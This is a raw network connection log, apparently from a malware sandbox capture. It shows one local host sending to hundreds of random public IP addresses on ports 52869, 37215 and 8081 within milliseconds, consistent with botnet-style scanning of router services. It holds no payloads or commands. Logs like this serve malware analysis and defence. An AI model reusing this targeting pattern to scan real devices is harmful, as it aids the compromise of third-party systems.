Jul 20, 2024 23:05:41.533910036 CEST	52869	43695	154.47.229.249	192.168.2.13
Jul 20, 2024 23:05:41.533919096 CEST	52869	43695	4.39.133.216	192.168.2.13
Jul 20, 2024 23:05:41.533927917 CEST	52869	43695	17.49.239.125	192.168.2.13
Jul 20, 2024 23:05:41.533937931 CEST	8081	43439	122.94.200.46	192.168.2.13
Jul 20, 2024 23:05:41.533946991 CEST	8081	43439	204.143.131.82	192.168.2.13
Jul 20, 2024 23:05:41.533957958 CEST	52869	43695	205.246.124.159	192.168.2.13
Jul 20, 2024 23:05:41.533966064 CEST	52869	43695	198.140.238.160	192.168.2.13
Jul 20, 2024 23:05:41.533974886 CEST	52869	43695	174.160.204.212	192.168.2.13
Jul 20, 2024 23:05:41.533983946 CEST	52869	43695	74.63.163.147	192.168.2.13
Jul 20, 2024 23:05:41.533993006 CEST	8081	43439	87.61.165.209	192.168.2.13
Jul 20, 2024 23:05:41.534178019 CEST	52869	43695	162.117.173.204	192.168.2.13
Jul 20, 2024 23:05:41.534188986 CEST	52869	43695	32.129.43.121	192.168.2.13
Jul 20, 2024 23:05:41.534198046 CEST	52869	43695	136.87.94.47	192.168.2.13
Jul 20, 2024 23:05:41.534207106 CEST	52869	43695	175.247.155.26	192.168.2.13
Jul 20, 2024 23:05:41.534215927 CEST	52869	43695	180.162.106.122	192.168.2.13
Jul 20, 2024 23:05:41.534224987 CEST	52869	43695	165.206.169.184	192.168.2.13
Jul 20, 2024 23:05:41.534234047 CEST	52869	43695	63.170.166.112	192.168.2.13
Jul 20, 2024 23:05:41.534243107 CEST	8081	43439	71.4.247.218	192.168.2.13
Jul 20, 2024 23:05:41.534252882 CEST	52869	43695	86.30.180.165	192.168.2.13
Jul 20, 2024 23:05:41.534261942 CEST	52869	43695	143.23.218.174	192.168.2.13
Jul 20, 2024 23:05:41.534271002 CEST	8081	43439	152.67.193.141	192.168.2.13
Jul 20, 2024 23:05:41.534280062 CEST	52869	43695	50.233.235.83	192.168.2.13
Jul 20, 2024 23:05:41.534288883 CEST	52869	43695	216.131.66.29	192.168.2.13
Jul 20, 2024 23:05:41.534297943 CEST	52869	43695	65.39.21.181	192.168.2.13
Jul 20, 2024 23:05:41.534307003 CEST	52869	43695	221.61.220.14	192.168.2.13
Jul 20, 2024 23:05:41.534315109 CEST	8081	43439	168.195.7.206	192.168.2.13
Jul 20, 2024 23:05:41.534323931 CEST	52869	43695	24.118.188.144	192.168.2.13
Jul 20, 2024 23:05:41.534332991 CEST	52869	43695	82.195.250.33	192.168.2.13
Jul 20, 2024 23:05:41.534342051 CEST	52869	43695	162.102.176.197	192.168.2.13
Jul 20, 2024 23:05:41.534351110 CEST	52869	43695	194.165.72.34	192.168.2.13
Jul 20, 2024 23:05:41.534358978 CEST	52869	43695	165.203.180.185	192.168.2.13
Jul 20, 2024 23:05:41.534605026 CEST	43439	8081	192.168.2.13	186.207.185.80
Jul 20, 2024 23:05:41.534605026 CEST	43439	8081	192.168.2.13	59.17.181.70
Jul 20, 2024 23:05:41.534605026 CEST	43439	8081	192.168.2.13	143.117.13.173
Jul 20, 2024 23:05:41.534605026 CEST	43439	8081	192.168.2.13	52.138.221.5
Jul 20, 2024 23:05:41.534605026 CEST	43439	8081	192.168.2.13	36.87.55.229
Jul 20, 2024 23:05:41.534605026 CEST	43439	8081	192.168.2.13	37.183.208.1
Jul 20, 2024 23:05:41.534605026 CEST	43439	8081	192.168.2.13	42.72.240.140
Jul 20, 2024 23:05:41.534605026 CEST	43695	52869	192.168.2.13	142.28.169.133
Jul 20, 2024 23:05:41.534617901 CEST	52869	43695	125.192.192.222	192.168.2.13
Jul 20, 2024 23:05:41.534629107 CEST	52869	43695	176.35.158.53	192.168.2.13
Jul 20, 2024 23:05:41.534637928 CEST	8081	43439	77.196.228.15	192.168.2.13
Jul 20, 2024 23:05:41.534647942 CEST	52869	43695	13.185.8.161	192.168.2.13
Jul 20, 2024 23:05:41.534657001 CEST	52869	43695	166.204.75.195	192.168.2.13
Jul 20, 2024 23:05:41.534666061 CEST	8081	43439	180.3.114.229	192.168.2.13
Jul 20, 2024 23:05:41.534676075 CEST	52869	43695	192.227.27.74	192.168.2.13
Jul 20, 2024 23:05:41.534912109 CEST	52869	43695	23.115.171.163	192.168.2.13
Jul 20, 2024 23:05:41.534923077 CEST	52869	43695	102.252.137.223	192.168.2.13
Jul 20, 2024 23:05:41.534931898 CEST	52869	43695	196.139.173.20	192.168.2.13
Jul 20, 2024 23:05:41.534941912 CEST	52869	43695	24.192.175.210	192.168.2.13
Jul 20, 2024 23:05:41.534950018 CEST	52869	43695	117.190.33.156	192.168.2.13
Jul 20, 2024 23:05:41.534959078 CEST	52869	43695	61.44.50.91	192.168.2.13
Jul 20, 2024 23:05:41.534967899 CEST	52869	43695	47.184.121.92	192.168.2.13
Jul 20, 2024 23:05:41.534976959 CEST	52869	43695	119.122.30.243	192.168.2.13
Jul 20, 2024 23:05:41.534986973 CEST	52869	43695	12.135.66.251	192.168.2.13
Jul 20, 2024 23:05:41.534996033 CEST	52869	43695	94.188.12.159	192.168.2.13
Jul 20, 2024 23:05:41.535005093 CEST	52869	43695	17.224.8.103	192.168.2.13
Jul 20, 2024 23:05:41.535037041 CEST	52869	43695	171.175.134.49	192.168.2.13
Jul 20, 2024 23:05:41.535046101 CEST	52869	43695	143.114.132.177	192.168.2.13
Jul 20, 2024 23:05:41.535054922 CEST	52869	43695	202.215.99.213	192.168.2.13
Jul 20, 2024 23:05:41.535063982 CEST	52869	43695	202.97.243.71	192.168.2.13
Jul 20, 2024 23:05:41.535073042 CEST	52869	43695	83.171.30.192	192.168.2.13
Jul 20, 2024 23:05:41.535082102 CEST	52869	43695	188.55.57.46	192.168.2.13
Jul 20, 2024 23:05:41.535090923 CEST	52869	43695	144.205.214.19	192.168.2.13
Jul 20, 2024 23:05:41.535100937 CEST	52869	43695	76.196.97.229	192.168.2.13
Jul 20, 2024 23:05:41.535113096 CEST	52869	43695	170.71.94.127	192.168.2.13
Jul 20, 2024 23:05:41.535125017 CEST	52869	43695	69.161.91.68	192.168.2.13
Jul 20, 2024 23:05:41.535135031 CEST	52869	43695	63.88.215.203	192.168.2.13
Jul 20, 2024 23:05:41.535144091 CEST	52869	43695	115.85.47.89	192.168.2.13
Jul 20, 2024 23:05:41.535152912 CEST	52869	43695	204.62.163.193	192.168.2.13
Jul 20, 2024 23:05:41.535161972 CEST	52869	43695	50.84.207.10	192.168.2.13
Jul 20, 2024 23:05:41.535170078 CEST	52869	43695	207.115.90.92	192.168.2.13
Jul 20, 2024 23:05:41.535180092 CEST	52869	43695	161.35.212.166	192.168.2.13
Jul 20, 2024 23:05:41.535188913 CEST	52869	43695	71.148.108.185	192.168.2.13
Jul 20, 2024 23:05:41.535403967 CEST	52869	43695	199.236.105.93	192.168.2.13
Jul 20, 2024 23:05:41.535413027 CEST	52869	43695	175.203.69.198	192.168.2.13
Jul 20, 2024 23:05:41.535423040 CEST	52869	43695	62.57.160.79	192.168.2.13
Jul 20, 2024 23:05:41.535432100 CEST	52869	43695	179.121.210.44	192.168.2.13
Jul 20, 2024 23:05:41.535440922 CEST	52869	43695	192.104.55.219	192.168.2.13
Jul 20, 2024 23:05:41.535449982 CEST	52869	43695	135.239.80.215	192.168.2.13
Jul 20, 2024 23:05:41.535459042 CEST	52869	43695	168.220.14.134	192.168.2.13
Jul 20, 2024 23:05:41.535466909 CEST	52869	43695	159.79.7.247	192.168.2.13
Jul 20, 2024 23:05:41.535476923 CEST	52869	43695	220.168.165.99	192.168.2.13
Jul 20, 2024 23:05:41.535552025 CEST	52869	43695	90.255.224.190	192.168.2.13
Jul 20, 2024 23:05:41.535562038 CEST	52869	43695	91.152.181.98	192.168.2.13
Jul 20, 2024 23:05:41.535571098 CEST	52869	43695	65.249.143.217	192.168.2.13
Jul 20, 2024 23:05:41.535579920 CEST	52869	43695	85.68.160.7	192.168.2.13
Jul 20, 2024 23:05:41.535588980 CEST	52869	43695	144.218.164.178	192.168.2.13
Jul 20, 2024 23:05:41.535598040 CEST	52869	43695	117.13.89.121	192.168.2.13
Jul 20, 2024 23:05:41.535608053 CEST	52869	43695	23.209.78.133	192.168.2.13
Jul 20, 2024 23:05:41.535615921 CEST	52869	43695	120.149.157.61	192.168.2.13
Jul 20, 2024 23:05:41.535624981 CEST	52869	43695	94.204.138.222	192.168.2.13
Jul 20, 2024 23:05:41.535634995 CEST	52869	43695	130.189.227.62	192.168.2.13
Jul 20, 2024 23:05:41.535644054 CEST	52869	43695	48.124.38.31	192.168.2.13
Jul 20, 2024 23:05:41.535653114 CEST	52869	43695	32.171.38.214	192.168.2.13
Jul 20, 2024 23:05:41.535661936 CEST	52869	43695	194.90.73.104	192.168.2.13
Jul 20, 2024 23:05:41.535670996 CEST	52869	43695	118.76.145.144	192.168.2.13
Jul 20, 2024 23:05:41.535680056 CEST	52869	43695	222.199.215.188	192.168.2.13
Jul 20, 2024 23:05:41.535689116 CEST	52869	43695	212.0.155.37	192.168.2.13
Jul 20, 2024 23:05:41.535697937 CEST	52869	43695	122.198.22.112	192.168.2.13
Jul 20, 2024 23:05:41.535706997 CEST	52869	43695	97.190.36.196	192.168.2.13
Jul 20, 2024 23:05:41.535716057 CEST	52869	43695	130.159.59.66	192.168.2.13
Jul 20, 2024 23:05:41.536406994 CEST	52869	43695	52.158.156.132	192.168.2.13
Jul 20, 2024 23:05:41.536417007 CEST	52869	43695	194.246.84.56	192.168.2.13
Jul 20, 2024 23:05:41.536426067 CEST	52869	43695	107.16.190.251	192.168.2.13
Jul 20, 2024 23:05:41.536433935 CEST	52869	43695	204.14.76.54	192.168.2.13
Jul 20, 2024 23:05:41.536442041 CEST	52869	43695	85.125.167.155	192.168.2.13
Jul 20, 2024 23:05:41.536452055 CEST	52869	43695	186.234.252.17	192.168.2.13
Jul 20, 2024 23:05:41.536461115 CEST	52869	43695	53.181.165.26	192.168.2.13
Jul 20, 2024 23:05:41.536469936 CEST	52869	43695	125.207.211.223	192.168.2.13
Jul 20, 2024 23:05:41.536478996 CEST	52869	43695	94.171.12.188	192.168.2.13
Jul 20, 2024 23:05:41.536494017 CEST	52869	43695	134.246.13.116	192.168.2.13
Jul 20, 2024 23:05:41.536503077 CEST	52869	43695	43.55.103.102	192.168.2.13
Jul 20, 2024 23:05:41.536511898 CEST	52869	43695	65.82.144.185	192.168.2.13
Jul 20, 2024 23:05:41.536521912 CEST	52869	43695	74.218.240.226	192.168.2.13
Jul 20, 2024 23:05:41.536530972 CEST	52869	43695	59.21.4.220	192.168.2.13
Jul 20, 2024 23:05:41.536540985 CEST	52869	43695	97.111.37.128	192.168.2.13
Jul 20, 2024 23:05:41.536550999 CEST	52869	43695	157.46.197.45	192.168.2.13
Jul 20, 2024 23:05:41.536550045 CEST	43695	52869	192.168.2.13	170.154.251.179
Jul 20, 2024 23:05:41.536550045 CEST	43695	52869	192.168.2.13	133.158.71.100
Jul 20, 2024 23:05:41.536550045 CEST	43695	52869	192.168.2.13	97.238.242.136
Jul 20, 2024 23:05:41.536550045 CEST	43695	52869	192.168.2.13	221.229.195.208
Jul 20, 2024 23:05:41.536550045 CEST	43695	52869	192.168.2.13	115.95.178.87
Jul 20, 2024 23:05:41.536550045 CEST	43695	52869	192.168.2.13	135.157.76.90
Jul 20, 2024 23:05:41.536550045 CEST	43695	52869	192.168.2.13	145.248.139.128
Jul 20, 2024 23:05:41.536550045 CEST	43695	52869	192.168.2.13	72.176.21.17
Jul 20, 2024 23:05:41.536560059 CEST	52869	43695	194.118.121.40	192.168.2.13
Jul 20, 2024 23:05:41.536569118 CEST	52869	43695	206.175.134.230	192.168.2.13
Jul 20, 2024 23:05:41.536578894 CEST	52869	43695	144.86.40.44	192.168.2.13
Jul 20, 2024 23:05:41.536587954 CEST	52869	43695	65.69.203.133	192.168.2.13
Jul 20, 2024 23:05:41.536597967 CEST	52869	43695	1.43.250.166	192.168.2.13
Jul 20, 2024 23:05:41.536607027 CEST	52869	43695	205.174.114.18	192.168.2.13
Jul 20, 2024 23:05:41.536617041 CEST	52869	43695	128.59.214.173	192.168.2.13
Jul 20, 2024 23:05:41.536628008 CEST	52869	43695	204.92.97.21	192.168.2.13
Jul 20, 2024 23:05:41.536637068 CEST	52869	43695	106.156.101.166	192.168.2.13
Jul 20, 2024 23:05:41.536645889 CEST	52869	43695	195.58.136.44	192.168.2.13
Jul 20, 2024 23:05:41.536654949 CEST	52869	43695	203.131.200.43	192.168.2.13
Jul 20, 2024 23:05:41.536664009 CEST	52869	43695	41.110.172.6	192.168.2.13
Jul 20, 2024 23:05:41.536674023 CEST	52869	43695	194.152.133.22	192.168.2.13
Jul 20, 2024 23:05:41.536684036 CEST	52869	43695	48.182.251.156	192.168.2.13
Jul 20, 2024 23:05:41.536693096 CEST	52869	43695	200.111.219.20	192.168.2.13
Jul 20, 2024 23:05:41.536701918 CEST	52869	43695	13.242.152.247	192.168.2.13
Jul 20, 2024 23:05:41.536710978 CEST	52869	43695	119.26.123.63	192.168.2.13
Jul 20, 2024 23:05:41.536721945 CEST	52869	43695	110.194.176.186	192.168.2.13
Jul 20, 2024 23:05:41.536731958 CEST	52869	43695	87.94.139.210	192.168.2.13
Jul 20, 2024 23:05:41.536741018 CEST	52869	43695	86.203.50.214	192.168.2.13
Jul 20, 2024 23:05:41.536750078 CEST	52869	43695	54.31.71.152	192.168.2.13
Jul 20, 2024 23:05:41.536760092 CEST	52869	43695	200.70.178.84	192.168.2.13
Jul 20, 2024 23:05:41.536768913 CEST	52869	43695	38.201.29.73	192.168.2.13
Jul 20, 2024 23:05:41.536777973 CEST	52869	43695	216.105.103.140	192.168.2.13
Jul 20, 2024 23:05:41.536784887 CEST	43695	52869	192.168.2.13	206.168.18.35
Jul 20, 2024 23:05:41.536784887 CEST	43695	52869	192.168.2.13	92.76.220.135
Jul 20, 2024 23:05:41.536784887 CEST	43695	52869	192.168.2.13	178.30.96.255
Jul 20, 2024 23:05:41.536787033 CEST	52869	43695	154.188.135.231	192.168.2.13
Jul 20, 2024 23:05:41.536784887 CEST	43695	52869	192.168.2.13	115.225.59.235
Jul 20, 2024 23:05:41.536784887 CEST	43695	52869	192.168.2.13	25.235.208.95
Jul 20, 2024 23:05:41.536784887 CEST	43695	52869	192.168.2.13	13.168.51.211
Jul 20, 2024 23:05:41.536784887 CEST	43695	52869	192.168.2.13	13.183.237.18
Jul 20, 2024 23:05:41.536784887 CEST	43695	52869	192.168.2.13	164.94.101.15
Jul 20, 2024 23:05:41.536797047 CEST	52869	43695	218.67.155.221	192.168.2.13
Jul 20, 2024 23:05:41.536806107 CEST	52869	43695	126.227.20.252	192.168.2.13
Jul 20, 2024 23:05:41.536814928 CEST	52869	43695	1.170.99.91	192.168.2.13
Jul 20, 2024 23:05:41.536823988 CEST	52869	43695	153.26.58.248	192.168.2.13
Jul 20, 2024 23:05:41.536834002 CEST	52869	43695	39.214.96.221	192.168.2.13
Jul 20, 2024 23:05:41.536853075 CEST	52869	43695	49.147.24.52	192.168.2.13
Jul 20, 2024 23:05:41.536863089 CEST	52869	43695	197.204.106.114	192.168.2.13
Jul 20, 2024 23:05:41.536873102 CEST	52869	43695	17.186.208.18	192.168.2.13
Jul 20, 2024 23:05:41.536883116 CEST	52869	43695	34.109.230.99	192.168.2.13
Jul 20, 2024 23:05:41.536891937 CEST	52869	43695	221.45.33.107	192.168.2.13
Jul 20, 2024 23:05:41.536901951 CEST	52869	43695	174.55.204.31	192.168.2.13
Jul 20, 2024 23:05:41.536917925 CEST	52869	43695	142.69.246.171	192.168.2.13
Jul 20, 2024 23:05:41.536927938 CEST	52869	43695	111.98.112.18	192.168.2.13
Jul 20, 2024 23:05:41.536936998 CEST	52869	43695	74.120.42.21	192.168.2.13
Jul 20, 2024 23:05:41.536946058 CEST	52869	43695	58.35.81.193	192.168.2.13
Jul 20, 2024 23:05:41.536955118 CEST	52869	43695	38.97.128.75	192.168.2.13
Jul 20, 2024 23:05:41.536963940 CEST	52869	43695	82.69.55.193	192.168.2.13
Jul 20, 2024 23:05:41.536973953 CEST	52869	43695	161.241.18.111	192.168.2.13
Jul 20, 2024 23:05:41.536988020 CEST	52869	43695	31.37.204.42	192.168.2.13
Jul 20, 2024 23:05:41.536998034 CEST	52869	43695	179.239.9.243	192.168.2.13
Jul 20, 2024 23:05:41.537007093 CEST	52869	43695	19.108.150.245	192.168.2.13
Jul 20, 2024 23:05:41.537015915 CEST	52869	43695	220.213.157.140	192.168.2.13
Jul 20, 2024 23:05:41.537024975 CEST	52869	43695	206.139.102.243	192.168.2.13
Jul 20, 2024 23:05:41.537034988 CEST	52869	43695	118.56.107.105	192.168.2.13
Jul 20, 2024 23:05:41.537044048 CEST	52869	43695	43.170.141.117	192.168.2.13
Jul 20, 2024 23:05:41.537053108 CEST	52869	43695	219.237.99.244	192.168.2.13
Jul 20, 2024 23:05:41.537062883 CEST	52869	43695	132.87.239.225	192.168.2.13
Jul 20, 2024 23:05:41.537071943 CEST	52869	43695	40.202.113.73	192.168.2.13
Jul 20, 2024 23:05:41.537080050 CEST	52869	43695	138.79.214.4	192.168.2.13
Jul 20, 2024 23:05:41.537089109 CEST	52869	43695	139.53.167.255	192.168.2.13
Jul 20, 2024 23:05:41.537097931 CEST	52869	43695	152.223.58.237	192.168.2.13
Jul 20, 2024 23:05:41.537106991 CEST	52869	43695	91.140.223.248	192.168.2.13
Jul 20, 2024 23:05:41.537116051 CEST	52869	43695	93.13.247.19	192.168.2.13
Jul 20, 2024 23:05:41.537125111 CEST	52869	43695	176.137.29.83	192.168.2.13
Jul 20, 2024 23:05:41.537133932 CEST	52869	43695	78.127.130.217	192.168.2.13
Jul 20, 2024 23:05:41.537590981 CEST	43695	52869	192.168.2.13	98.62.66.82
Jul 20, 2024 23:05:41.537590981 CEST	43695	52869	192.168.2.13	184.92.74.40
Jul 20, 2024 23:05:41.537590981 CEST	43695	52869	192.168.2.13	58.135.172.102
Jul 20, 2024 23:05:41.537590981 CEST	43695	52869	192.168.2.13	12.182.213.39
Jul 20, 2024 23:05:41.537590981 CEST	43695	52869	192.168.2.13	68.121.200.194
Jul 20, 2024 23:05:41.537590981 CEST	43695	52869	192.168.2.13	12.216.230.104
Jul 20, 2024 23:05:41.537702084 CEST	43695	52869	192.168.2.13	107.222.128.156
Jul 20, 2024 23:05:41.537702084 CEST	43695	52869	192.168.2.13	64.160.92.163
Jul 20, 2024 23:05:41.537702084 CEST	43695	52869	192.168.2.13	63.243.72.72
Jul 20, 2024 23:05:41.537702084 CEST	43695	52869	192.168.2.13	142.58.234.104
Jul 20, 2024 23:05:41.537702084 CEST	43695	52869	192.168.2.13	151.81.182.232
Jul 20, 2024 23:05:41.537702084 CEST	43695	52869	192.168.2.13	133.20.77.139
Jul 20, 2024 23:05:41.537702084 CEST	43695	52869	192.168.2.13	220.96.239.99
Jul 20, 2024 23:05:41.537702084 CEST	43695	52869	192.168.2.13	2.68.48.231
Jul 20, 2024 23:05:41.538404942 CEST	43695	52869	192.168.2.13	164.7.16.55
Jul 20, 2024 23:05:41.538404942 CEST	43695	52869	192.168.2.13	46.122.100.215
Jul 20, 2024 23:05:41.538404942 CEST	43695	52869	192.168.2.13	147.27.199.241
Jul 20, 2024 23:05:41.539995909 CEST	44719	37215	192.168.2.13	157.255.29.202
Jul 20, 2024 23:05:41.539995909 CEST	44719	37215	192.168.2.13	197.246.138.24
Jul 20, 2024 23:05:41.539995909 CEST	44719	37215	192.168.2.13	9.78.247.18
Jul 20, 2024 23:05:41.539995909 CEST	44719	37215	192.168.2.13	197.110.229.162
Jul 20, 2024 23:05:41.539995909 CEST	44719	37215	192.168.2.13	197.103.6.243
Jul 20, 2024 23:05:41.539995909 CEST	44719	37215	192.168.2.13	157.65.177.241
Jul 20, 2024 23:05:41.539997101 CEST	44719	37215	192.168.2.13	197.139.56.75
Jul 20, 2024 23:05:41.539997101 CEST	44719	37215	192.168.2.13	197.170.228.163
Jul 20, 2024 23:05:41.540872097 CEST	52869	43695	141.139.224.47	192.168.2.13
Jul 20, 2024 23:05:41.540884972 CEST	52869	43695	132.143.62.22	192.168.2.13
Jul 20, 2024 23:05:41.540894985 CEST	52869	43695	58.30.155.104	192.168.2.13
Jul 20, 2024 23:05:41.541269064 CEST	52869	43695	99.143.3.199	192.168.2.13
Jul 20, 2024 23:05:41.541290045 CEST	52869	43695	190.123.56.11	192.168.2.13
Jul 20, 2024 23:05:41.541297913 CEST	52869	43695	38.34.80.53	192.168.2.13
Jul 20, 2024 23:05:41.541307926 CEST	52869	43695	147.239.120.6	192.168.2.13
Jul 20, 2024 23:05:41.541506052 CEST	52869	43695	81.37.172.58	192.168.2.13
Jul 20, 2024 23:05:41.541516066 CEST	52869	43695	145.144.15.140	192.168.2.13
Jul 20, 2024 23:05:41.541526079 CEST	52869	43695	168.146.95.202	192.168.2.13
Jul 20, 2024 23:05:41.541650057 CEST	52869	43695	116.152.160.220	192.168.2.13
Jul 20, 2024 23:05:41.541660070 CEST	52869	43695	161.217.224.221	192.168.2.13
Jul 20, 2024 23:05:41.541668892 CEST	52869	43695	217.92.206.226	192.168.2.13
Jul 20, 2024 23:05:41.541677952 CEST	52869	43695	199.109.215.250	192.168.2.13
Jul 20, 2024 23:05:41.541687012 CEST	52869	43695	62.234.125.79	192.168.2.13
Jul 20, 2024 23:05:41.541695118 CEST	52869	43695	85.29.92.89	192.168.2.13
Jul 20, 2024 23:05:41.541703939 CEST	52869	43695	190.17.231.187	192.168.2.13
Jul 20, 2024 23:05:41.541713953 CEST	52869	43695	61.67.184.131	192.168.2.13
Jul 20, 2024 23:05:41.541723013 CEST	52869	43695	183.244.83.113	192.168.2.13
Jul 20, 2024 23:05:41.541732073 CEST	52869	43695	119.63.51.2	192.168.2.13
Jul 20, 2024 23:05:41.541740894 CEST	52869	43695	205.180.82.55	192.168.2.13
Jul 20, 2024 23:05:41.541750908 CEST	52869	43695	222.53.239.66	192.168.2.13
Jul 20, 2024 23:05:41.541759968 CEST	52869	43695	198.41.118.151	192.168.2.13
Jul 20, 2024 23:05:41.541768074 CEST	52869	43695	124.9.167.87	192.168.2.13
Jul 20, 2024 23:05:41.541778088 CEST	52869	43695	102.190.94.52	192.168.2.13
Jul 20, 2024 23:05:41.541786909 CEST	52869	43695	208.52.230.72	192.168.2.13
Jul 20, 2024 23:05:41.541795015 CEST	52869	43695	34.42.67.18	192.168.2.13
Jul 20, 2024 23:05:41.541804075 CEST	52869	43695	188.177.168.128	192.168.2.13
Jul 20, 2024 23:05:41.541812897 CEST	52869	43695	14.9.29.134	192.168.2.13
Jul 20, 2024 23:05:41.541821957 CEST	52869	43695	42.122.9.24	192.168.2.13
Jul 20, 2024 23:05:41.541830063 CEST	52869	43695	155.252.84.85	192.168.2.13
Jul 20, 2024 23:05:41.541838884 CEST	52869	43695	182.216.84.216	192.168.2.13
Jul 20, 2024 23:05:41.541975021 CEST	52869	43695	128.167.40.10	192.168.2.13
Jul 20, 2024 23:05:41.541985035 CEST	52869	43695	61.9.17.47	192.168.2.13
Jul 20, 2024 23:05:41.541994095 CEST	52869	43695	52.58.27.109	192.168.2.13
Jul 20, 2024 23:05:41.542001963 CEST	52869	43695	211.47.12.132	192.168.2.13
Jul 20, 2024 23:05:41.542138100 CEST	52869	43695	58.240.141.32	192.168.2.13
Jul 20, 2024 23:05:41.542148113 CEST	52869	43695	200.213.150.56	192.168.2.13
Jul 20, 2024 23:05:41.542156935 CEST	52869	43695	126.50.220.63	192.168.2.13
Jul 20, 2024 23:05:41.542165995 CEST	52869	43695	84.107.7.192	192.168.2.13
Jul 20, 2024 23:05:41.542175055 CEST	52869	43695	170.70.83.184	192.168.2.13
Jul 20, 2024 23:05:41.542184114 CEST	52869	43695	207.215.37.219	192.168.2.13
Jul 20, 2024 23:05:41.542191982 CEST	52869	43695	88.80.142.11	192.168.2.13
Jul 20, 2024 23:05:41.542201996 CEST	52869	43695	58.30.8.244	192.168.2.13
Jul 20, 2024 23:05:41.542211056 CEST	52869	43695	119.59.53.48	192.168.2.13
Jul 20, 2024 23:05:41.542220116 CEST	52869	43695	171.24.222.236	192.168.2.13
Jul 20, 2024 23:05:41.542227983 CEST	52869	43695	124.47.102.109	192.168.2.13
Jul 20, 2024 23:05:41.542237043 CEST	52869	43695	168.95.235.228	192.168.2.13
Jul 20, 2024 23:05:41.542244911 CEST	52869	43695	122.79.153.203	192.168.2.13
Jul 20, 2024 23:05:41.542253971 CEST	52869	43695	78.144.154.96	192.168.2.13
Jul 20, 2024 23:05:41.542263031 CEST	52869	43695	186.23.129.11	192.168.2.13
Jul 20, 2024 23:05:41.542270899 CEST	52869	43695	114.186.78.67	192.168.2.13
Jul 20, 2024 23:05:41.542279959 CEST	52869	43695	102.202.162.8	192.168.2.13
Jul 20, 2024 23:05:41.542289972 CEST	52869	43695	142.172.39.222	192.168.2.13
Jul 20, 2024 23:05:41.542299032 CEST	52869	43695	50.92.185.77	192.168.2.13
Jul 20, 2024 23:05:41.542308092 CEST	52869	43695	41.145.182.144	192.168.2.13
Jul 20, 2024 23:05:41.542318106 CEST	52869	43695	193.164.35.3	192.168.2.13
Jul 20, 2024 23:05:41.542326927 CEST	52869	43695	90.174.176.155	192.168.2.13
Jul 20, 2024 23:05:41.542337894 CEST	52869	43695	37.166.58.7	192.168.2.13
Jul 20, 2024 23:05:41.542347908 CEST	52869	43695	85.194.233.109	192.168.2.13
Jul 20, 2024 23:05:41.542356968 CEST	52869	43695	9.125.96.65	192.168.2.13
Jul 20, 2024 23:05:41.542366028 CEST	52869	43695	41.172.120.42	192.168.2.13
Jul 20, 2024 23:05:41.542373896 CEST	52869	43695	37.253.130.175	192.168.2.13
Jul 20, 2024 23:05:41.542538881 CEST	43439	8081	192.168.2.13	136.82.192.39
Jul 20, 2024 23:05:41.542538881 CEST	43695	52869	192.168.2.13	151.255.247.73
Jul 20, 2024 23:05:41.542538881 CEST	43439	8081	192.168.2.13	168.60.234.146
Jul 20, 2024 23:05:41.542538881 CEST	43439	8081	192.168.2.13	205.22.200.187
Jul 20, 2024 23:05:41.542538881 CEST	43439	8081	192.168.2.13	156.40.121.110
Jul 20, 2024 23:05:41.542538881 CEST	43695	52869	192.168.2.13	190.225.30.14
Jul 20, 2024 23:05:41.542538881 CEST	43695	52869	192.168.2.13	221.108.209.131
Jul 20, 2024 23:05:41.542610884 CEST	52869	43695	61.201.180.247	192.168.2.13
Jul 20, 2024 23:05:41.542620897 CEST	52869	43695	34.69.166.35	192.168.2.13
Jul 20, 2024 23:05:41.542629957 CEST	52869	43695	177.82.131.223	192.168.2.13
Jul 20, 2024 23:05:41.542778015 CEST	44719	37215	192.168.2.13	41.35.143.117
Jul 20, 2024 23:05:41.542778015 CEST	44719	37215	192.168.2.13	197.91.179.228
Jul 20, 2024 23:05:41.542778015 CEST	44719	37215	192.168.2.13	197.163.162.238
Jul 20, 2024 23:05:41.542778015 CEST	44719	37215	192.168.2.13	186.126.223.203
Jul 20, 2024 23:05:41.542778015 CEST	44719	37215	192.168.2.13	157.6.141.46
Jul 20, 2024 23:05:41.542778015 CEST	44719	37215	192.168.2.13	41.168.139.245
Jul 20, 2024 23:05:41.543437958 CEST	43695	52869	192.168.2.13	20.60.80.137
Jul 20, 2024 23:05:41.543437958 CEST	43695	52869	192.168.2.13	159.243.208.100
Jul 20, 2024 23:05:41.543437958 CEST	43695	52869	192.168.2.13	62.211.99.198
Jul 20, 2024 23:05:41.543437958 CEST	43695	52869	192.168.2.13	200.15.78.244
Jul 20, 2024 23:05:41.543437958 CEST	43695	52869	192.168.2.13	117.214.26.7
Jul 20, 2024 23:05:41.543437958 CEST	43695	52869	192.168.2.13	36.231.137.63
Jul 20, 2024 23:05:41.543437958 CEST	43695	52869	192.168.2.13	153.188.17.228
Jul 20, 2024 23:05:41.544914007 CEST	44719	37215	192.168.2.13	41.163.23.205
Jul 20, 2024 23:05:41.544914007 CEST	44719	37215	192.168.2.13	171.133.88.150
Jul 20, 2024 23:05:41.544914007 CEST	44719	37215	192.168.2.13	197.198.8.79
Jul 20, 2024 23:05:41.544914007 CEST	44719	37215	192.168.2.13	35.215.18.71
Jul 20, 2024 23:05:41.544914007 CEST	44719	37215	192.168.2.13	41.86.128.147
Jul 20, 2024 23:05:41.545675039 CEST	43695	52869	192.168.2.13	124.116.187.38
Jul 20, 2024 23:05:41.545675039 CEST	43695	52869	192.168.2.13	198.189.28.184
Jul 20, 2024 23:05:41.545675039 CEST	43695	52869	192.168.2.13	198.163.86.10
Jul 20, 2024 23:05:41.545675039 CEST	43695	52869	192.168.2.13	95.190.229.18
Jul 20, 2024 23:05:41.545675039 CEST	43695	52869	192.168.2.13	71.98.165.96
Jul 20, 2024 23:05:41.545675039 CEST	43695	52869	192.168.2.13	131.42.216.60
Jul 20, 2024 23:05:41.545675039 CEST	43695	52869	192.168.2.13	84.130.251.129
Jul 20, 2024 23:05:41.545675039 CEST	43695	52869	192.168.2.13	189.57.148.66
Jul 20, 2024 23:05:41.546870947 CEST	43695	52869	192.168.2.13	73.95.157.254
Jul 20, 2024 23:05:41.546870947 CEST	43695	52869	192.168.2.13	62.31.223.139
Jul 20, 2024 23:05:41.546870947 CEST	43695	52869	192.168.2.13	147.205.180.17
Jul 20, 2024 23:05:41.546870947 CEST	43695	52869	192.168.2.13	4.242.69.45
Jul 20, 2024 23:05:41.546870947 CEST	43695	52869	192.168.2.13	198.223.152.158
Jul 20, 2024 23:05:41.546870947 CEST	43695	52869	192.168.2.13	88.192.217.164
Jul 20, 2024 23:05:41.547986984 CEST	43695	52869	192.168.2.13	187.221.11.254
Jul 20, 2024 23:05:41.547986984 CEST	43695	52869	192.168.2.13	134.85.77.204
